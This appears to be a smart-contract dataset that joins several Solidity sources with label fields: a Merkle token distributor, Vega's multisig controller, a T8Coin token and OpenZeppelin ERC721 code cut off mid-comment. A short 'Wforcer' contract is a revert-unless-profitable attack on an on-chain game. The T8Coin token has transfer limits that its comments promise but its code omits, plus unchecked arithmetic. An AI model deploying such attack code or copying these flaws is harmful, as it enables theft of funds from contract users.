function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
contract MerkleDistributor is Initializable, IMerkleDistributor {
address public token;
bytes32 public merkleRoot;
// This is a packed array of booleans.
mapping(uint256 => uint256) internal claimedBitMap;
function __MerkleDistributor_init(address token_, bytes32 merkleRoot_) public initializer {
token = token_;
merkleRoot = merkleRoot_;
}
function isClaimed(uint256 index) public override view returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) internal {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(
uint256 index,
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external virtual override {
require(!isClaimed(index), "MerkleDistributor: Drop already claimed.");
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProofUpgradeable.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof.");
// Mark it claimed and send the token.
_setClaimed(index);
require(IERC20Upgradeable(token).transfer(account, amount), "MerkleDistributor: Transfer failed.");
emit Claimed(index, account, amount);
}
}
contract TokenDistributor is MerkleDistributor, OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
uint256 public constant MAX_BPS = 10000;
uint256 public claimsStart;
uint256 public gracePeriod;
uint256 public epochDuration;
uint256 public rewardReductionPerEpoch;
uint256 public currentRewardRate;
uint256 public finalEpoch;
address public rewardsEscrow;
event Claimed(uint256 index, address indexed account, uint256 amount, uint256 userClaim, uint256 rewardsEscrowClaim);
function initialize(
address token_,
bytes32 merkleRoot_,
uint256 epochDuration_,
uint256 rewardReductionPerEpoch_,
uint256 claimsStart_,
uint256 gracePeriod_,
address rewardsEscrow_,
address owner_
) public initializer {
__MerkleDistributor_init(token_, merkleRoot_);
__Ownable_init();
transferOwnership(owner_);
epochDuration = epochDuration_;
rewardReductionPerEpoch = rewardReductionPerEpoch_;
claimsStart = claimsStart_;
gracePeriod = gracePeriod_;
rewardsEscrow = rewardsEscrow_;
currentRewardRate = 10000;
finalEpoch = (currentRewardRate / rewardReductionPerEpoch_) - 1;
}
/// ===== View Functions =====
/// @dev Get grace period end timestamp
function getGracePeriodEnd() public view returns (uint256) {
return claimsStart.add(gracePeriod);
}
/// @dev Get claims start timestamp
function getClaimsStartTime() public view returns (uint256) {
return claimsStart;
}
/// @dev Get the next epoch start
function getNextEpochStart() public view returns (uint256) {
uint256 epoch = getCurrentEpoch();
if (epoch == 0) {
return getGracePeriodEnd();
} else {
return getGracePeriodEnd().add(epochDuration.mul(epoch));
}
}
function getTimeUntilNextEpoch() public view returns (uint256) {
uint256 epoch = getCurrentEpoch();
if (epoch == 0) {
return getGracePeriodEnd().sub(now);
} else {
return (getGracePeriodEnd().add(epochDuration.mul(epoch))).sub(now);
}
}
/// @dev Get the current epoch number
function getCurrentEpoch() public view returns (uint256) {
uint256 gracePeriodEnd = claimsStart.add(gracePeriod);
if (now < gracePeriodEnd) {
return 0;
}
uint256 secondsPastGracePeriod = now.sub(gracePeriodEnd);
return (secondsPastGracePeriod / epochDuration).add(1);
}
/// @dev Get the rewards % of current epoch
function getCurrentRewardsRate() public view returns (uint256) {
uint256 epoch = getCurrentEpoch();
if (epoch == 0) return MAX_BPS;
if (epoch > finalEpoch) return 0;
else return MAX_BPS.sub(epoch.mul(rewardReductionPerEpoch));
}
/// @dev Get the rewards % of following epoch
function getNextEpochRewardsRate() public view returns (uint256) {
uint256 epoch = getCurrentEpoch().add(1);
if (epoch == 0) return MAX_BPS;
if (epoch > finalEpoch) return 0;
else return MAX_BPS.sub(epoch.mul(rewardReductionPerEpoch));
}
/// ===== Public Actions =====
function claim(
uint256 index,
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external virtual override {
require(now >= claimsStart, "TokenDistributor: Before claim start.");
// Intentionally commented out so users can pay gas for others claims
// require(account == msg.sender, "TokenDistributor: Can only claim for own account.");
require(getCurrentRewardsRate() > 0, "TokenDistributor: Past rewards claim period.");
require(!isClaimed(index), "TokenDistributor: Drop already claimed.");
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProofUpgradeable.verify(merkleProof, merkleRoot, node), "TokenDistributor: Invalid proof.");
// Mark it claimed and send the token.
_setClaimed(index);
require(getCurrentRewardsRate() <= MAX_BPS, "Excessive Rewards Rate");
uint256 claimable = amount.mul(getCurrentRewardsRate()).div(MAX_BPS);
require(IERC20Upgradeable(token).transfer(account, claimable), "Transfer to user failed.");
emit Claimed(index, account, amount, claimable, amount.sub(claimable));
}
/// ===== Gated Actions: Owner =====
/// @notice After claim period is complete, transfer excess funds to rewardsEscrow
function recycleExcess() external onlyOwner {
require(getCurrentRewardsRate() == 0 && getCurrentEpoch() > finalEpoch, "Claim period not finished");
uint256 remainingBalance = IERC20Upgradeable(token).balanceOf(address(this));
IERC20Upgradeable(token).transfer(rewardsEscrow, remainingBalance);
}
function setGracePeriod(uint256 duration) external onlyOwner {
gracePeriod = duration;
}
} | True | [
101,
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1008,
1008,
1008,
7864,
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/**
*Submitted for verification at Etherscan.io on 2021-11-07
*/
// File: contracts/IMultisigControl.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.8;
/// @title MultisigControl Interface
/// @author Vega Protocol
/// @notice Implementations of this interface are used by the Vega network to control smart contracts without the need for Vega to have any Ethereum of its own.
/// @notice To do this, the Vega validators sign a MultisigControl order to construct a signature bundle. Any interested party can then take that signature bundle and pay the gas to run the command on Ethereum
abstract contract IMultisigControl {
/***************************EVENTS****************************/
event SignerAdded(address new_signer, uint256 nonce);
event SignerRemoved(address old_signer, uint256 nonce);
event ThresholdSet(uint16 new_threshold, uint256 nonce);
/**************************FUNCTIONS*********************/
/// @notice Sets threshold of signatures that must be met before function is executed.
/// @param new_threshold New threshold value
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @notice Ethereum has no decimals, threshold is % * 10 so 50% == 500 100% == 1000
/// @notice signatures are OK if they are >= threshold count of total valid signers
/// @dev MUST emit ThresholdSet event
function set_threshold(uint16 new_threshold, uint nonce, bytes calldata signatures) public virtual;
/// @notice Adds new valid signer and adjusts signer count.
/// @param new_signer New signer address
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev MUST emit 'SignerAdded' event
function add_signer(address new_signer, uint nonce, bytes calldata signatures) public virtual;
/// @notice Removes currently valid signer and adjusts signer count.
/// @param old_signer Address of signer to be removed.
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev MUST emit 'SignerRemoved' event
function remove_signer(address old_signer, uint nonce, bytes calldata signatures) public virtual;
/// @notice Verifies a signature bundle and returns true only if the threshold of valid signers is met,
/// @notice this is a function that any function controlled by Vega MUST call to be securely controlled by the Vega network
/// @notice message to hash to sign follows this pattern:
/// @notice abi.encode( abi.encode(param1, param2, param3, ... , nonce, function_name_string), validating_contract_or_submitter_address);
/// @notice Note that validating_contract_or_submitter_address is the the submitting party. If on MultisigControl contract itself, it's the submitting ETH address
/// @notice if function on bridge that then calls Multisig, then it's the address of that contract
/// @notice Note also the embedded encoding, this is required to verify what function/contract the function call goes to
/// @return MUST return true if valid signatures are over the threshold
function verify_signatures(bytes calldata signatures, bytes memory message, uint nonce) public virtual returns(bool);
/**********************VIEWS*********************/
/// @return Number of valid signers
function get_valid_signer_count() public virtual view returns(uint8);
/// @return Current threshold
function get_current_threshold() public virtual view returns(uint16);
/// @param signer_address target potential signer address
/// @return true if address provided is valid signer
function is_valid_signer(address signer_address) public virtual view returns(bool);
/// @param nonce Nonce to lookup
/// @return true if nonce has been used
function is_nonce_used(uint nonce) public virtual view returns(bool);
}
/**
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM
MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM
MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................DDD
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM
MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM
MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/
// File: contracts/MultisigControl.sol
/// @title MultisigControl
/// @author Vega Protocol
/// @notice This contract enables validators, through a multisignature process, to run functions on contracts by consensus
contract MultisigControl is IMultisigControl {
constructor () {
// set initial threshold to 50%
threshold = 500;
signers[msg.sender] = true;
signer_count++;
emit SignerAdded(msg.sender, 0);
}
uint16 threshold;
uint8 signer_count;
mapping(address => bool) signers;
mapping(uint => bool) used_nonces;
mapping(bytes32 => mapping(address => bool)) has_signed;
/**************************FUNCTIONS*********************/
/// @notice Sets threshold of signatures that must be met before function is executed.
/// @param new_threshold New threshold value
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @notice Ethereum has no decimals, threshold is % * 10 so 50% == 500 100% == 1000
/// @notice signatures are OK if they are >= threshold count of total valid signers
/// @dev Emits ThresholdSet event
function set_threshold(uint16 new_threshold, uint256 nonce, bytes calldata signatures) public override{
require(new_threshold <= 1000 && new_threshold > 0, "new threshold outside range");
bytes memory message = abi.encode(new_threshold, nonce, "set_threshold");
require(verify_signatures(signatures, message, nonce), "bad signatures");
threshold = new_threshold;
emit ThresholdSet(new_threshold, nonce);
}
/// @notice Adds new valid signer and adjusts signer count.
/// @param new_signer New signer address
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev Emits 'SignerAdded' event
function add_signer(address new_signer, uint256 nonce, bytes calldata signatures) public override{
bytes memory message = abi.encode(new_signer, nonce, "add_signer");
require(!signers[new_signer], "signer already exists");
require(verify_signatures(signatures, message, nonce), "bad signatures");
signers[new_signer] = true;
signer_count++;
emit SignerAdded(new_signer, nonce);
}
/// @notice Removes currently valid signer and adjusts signer count.
/// @param old_signer Address of signer to be removed.
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev Emits 'SignerRemoved' event
function remove_signer(address old_signer, uint256 nonce, bytes calldata signatures) public override {
bytes memory message = abi.encode(old_signer, nonce, "remove_signer");
require(signers[old_signer], "signer doesn't exist");
require(verify_signatures(signatures, message, nonce), "bad signatures");
signers[old_signer] = false;
signer_count--;
emit SignerRemoved(old_signer, nonce);
}
/// @notice Verifies a signature bundle and returns true only if the threshold of valid signers is met,
/// @notice this is a function that any function controlled by Vega MUST call to be securely controlled by the Vega network
/// @notice message to hash to sign follows this pattern:
/// @notice abi.encode( abi.encode(param1, param2, param3, ... , nonce, function_name_string), validating_contract_or_submitter_address);
/// @notice Note that validating_contract_or_submitter_address is the submitting party. If on MultisigControl contract itself, it's the submitting ETH address
/// @notice if function on bridge that then calls Multisig, then it's the address of that contract
/// @notice Note also the embedded encoding, this is required to verify what function/contract the function call goes to
/// @return Returns true if valid signatures are over the threshold
function verify_signatures(bytes calldata signatures, bytes memory message, uint256 nonce) public override returns(bool) {
require(signatures.length % 65 == 0, "bad sig length");
require(!used_nonces[nonce], "nonce already used");
uint8 sig_count = 0;
bytes32 message_hash = keccak256(abi.encode(message, msg.sender));
for(uint256 msg_idx = 0; msg_idx < signatures.length; msg_idx+= 65){
//recover address from that msg
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := calldataload(add(signatures.offset,msg_idx))
// second 32 bytes
s := calldataload(add(add(signatures.offset,msg_idx), 32))
// final byte (first byte of the next 32 bytes)
v := byte(0, calldataload(add(add(signatures.offset,msg_idx), 64)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "Mallable signature error");
if (v < 27) v += 27;
address recovered_address = ecrecover(message_hash, v, r, s);
if(signers[recovered_address] && !has_signed[message_hash][recovered_address]){
has_signed[message_hash][recovered_address] = true;
sig_count++;
}
}
used_nonces[nonce] = true;
return ((uint256(sig_count) * 1000) / (uint256(signer_count))) > threshold;
}
/// @return Number of valid signers
function get_valid_signer_count() public override view returns(uint8){
return signer_count;
}
/// @return Current threshold
function get_current_threshold() public override view returns(uint16) {
return threshold;
}
/// @param signer_address target potential signer address
/// @return true if address provided is valid signer
function is_valid_signer(address signer_address) public override view returns(bool){
return signers[signer_address];
}
/// @param nonce Nonce to lookup
/// @return true if nonce has been used
function is_nonce_used(uint256 nonce) public override view returns(bool){
return used_nonces[nonce];
}
}
/**
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM
MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM
MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................DDD
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM
MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM
MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/ | True | [
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] |
pragma solidity 0.4.11;
contract ERC20 {
function totalSupply() constant returns (uint256 totalSupply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _recipient, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _recipient, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _recipient, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is ERC20 {
uint256 public totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
modifier when_can_transfer(address _from, uint256 _value) {
if (balances[_from] >= _value) _;
}
modifier when_can_receive(address _recipient, uint256 _value) {
if (balances[_recipient] + _value > balances[_recipient]) _;
}
modifier when_is_allowed(address _from, address _delegate, uint256 _value) {
if (allowed[_from][_delegate] >= _value) _;
}
function transfer(address _recipient, uint256 _value)
when_can_transfer(msg.sender, _value)
when_can_receive(_recipient, _value)
returns (bool o_success)
{
balances[msg.sender] -= _value;
balances[_recipient] += _value;
Transfer(msg.sender, _recipient, _value);
return true;
}
function transferFrom(address _from, address _recipient, uint256 _value)
when_can_transfer(_from, _value)
when_can_receive(_recipient, _value)
when_is_allowed(_from, msg.sender, _value)
returns (bool o_success)
{
allowed[_from][msg.sender] -= _value;
balances[_from] -= _value;
balances[_recipient] += _value;
Transfer(_from, _recipient, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool o_success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 o_remaining) {
return allowed[_owner][_spender];
}
}
contract T8CToken is StandardToken {
//FIELDS
string public name = "T8Coin";
string public symbol = "T8C";
uint public decimals = 3;
//INITIALIZATION
address public minter; //address that able to mint new tokens
uint public icoEndTime;
uint illiquidBalance_amount;
mapping (uint => address) illiquidBalance_index;
mapping (address => uint) public illiquidBalance; //Balance of 'Frozen funds'
// called by crowdsale contract
modifier only_minter {
if (msg.sender != minter) throw;
_;
}
// Can only be called if the `crowdfunder` is allowed to mint tokens. Any
// time before `endMintingTime`.
modifier when_mintable {
if (now > icoEndTime) throw; // todo need bounty create token?
_;
}
// Initialization contract assigns address of crowdfund contract and end time.
function T8CToken (address _minter, uint _icoEndTime) {
minter = _minter;
icoEndTime = _icoEndTime;
}
// Create new tokens when called by the crowdfund contract.
// Only callable before the end time.
function createToken(address _recipient, uint _value)
when_mintable
only_minter
returns (bool o_success)
{
balances[_recipient] += _value;
totalSupply += _value;
return true;
}
// Create an illiquidBalance which cannot be traded until admin make it liquid.
// Can only be called by crowdfund contract before the end time.
function createIlliquidToken(address _recipient, uint _value)
when_mintable
only_minter
returns (bool o_success)
{
illiquidBalance_index[illiquidBalance_amount] = _recipient;
illiquidBalance[_recipient] += _value;
illiquidBalance_amount++;
totalSupply += _value;
return true;
}
// Make sender's illiquid balance liquid when called after lockout period.
function makeLiquid()
only_minter
{
for (uint i=0; i<illiquidBalance_amount; i++)
{
address investor = illiquidBalance_index[i];
balances[investor] += illiquidBalance[investor];
illiquidBalance[investor] = 0;
}
}
// Transfer amount of tokens from sender account to recipient.
// Only callable after the crowd fund end date.
function transfer(address _recipient, uint _amount)
returns (bool o_success)
{
return super.transfer(_recipient, _amount);
}
// Transfer amount of tokens from a specified address to a recipient.
// Only callable after the crowd fund end date.
function transferFrom(address _from, address _recipient, uint _amount)
returns (bool o_success)
{
return super.transferFrom(_from, _recipient, _amount);
}
} | True | [
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pragma solidity ^0.4.11;
contract Owned {
address owner;
function Owned() {
owner = msg.sender;
}
function kill() {
if (msg.sender == owner) suicide(owner);
}
}
contract Wforcer is Owned {
function wcf(address target, uint256 a) payable {
require(msg.sender == owner);
uint startBalance = this.balance;
target.call.value(msg.value)(bytes4(keccak256("play(uint256)")), a);
if (this.balance <= startBalance) revert();
owner.transfer(this.balance);
}
function withdraw() {
require(msg.sender == owner);
require(this.balance > 0);
owner.transfer(this.balance);
}
function () payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-26
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
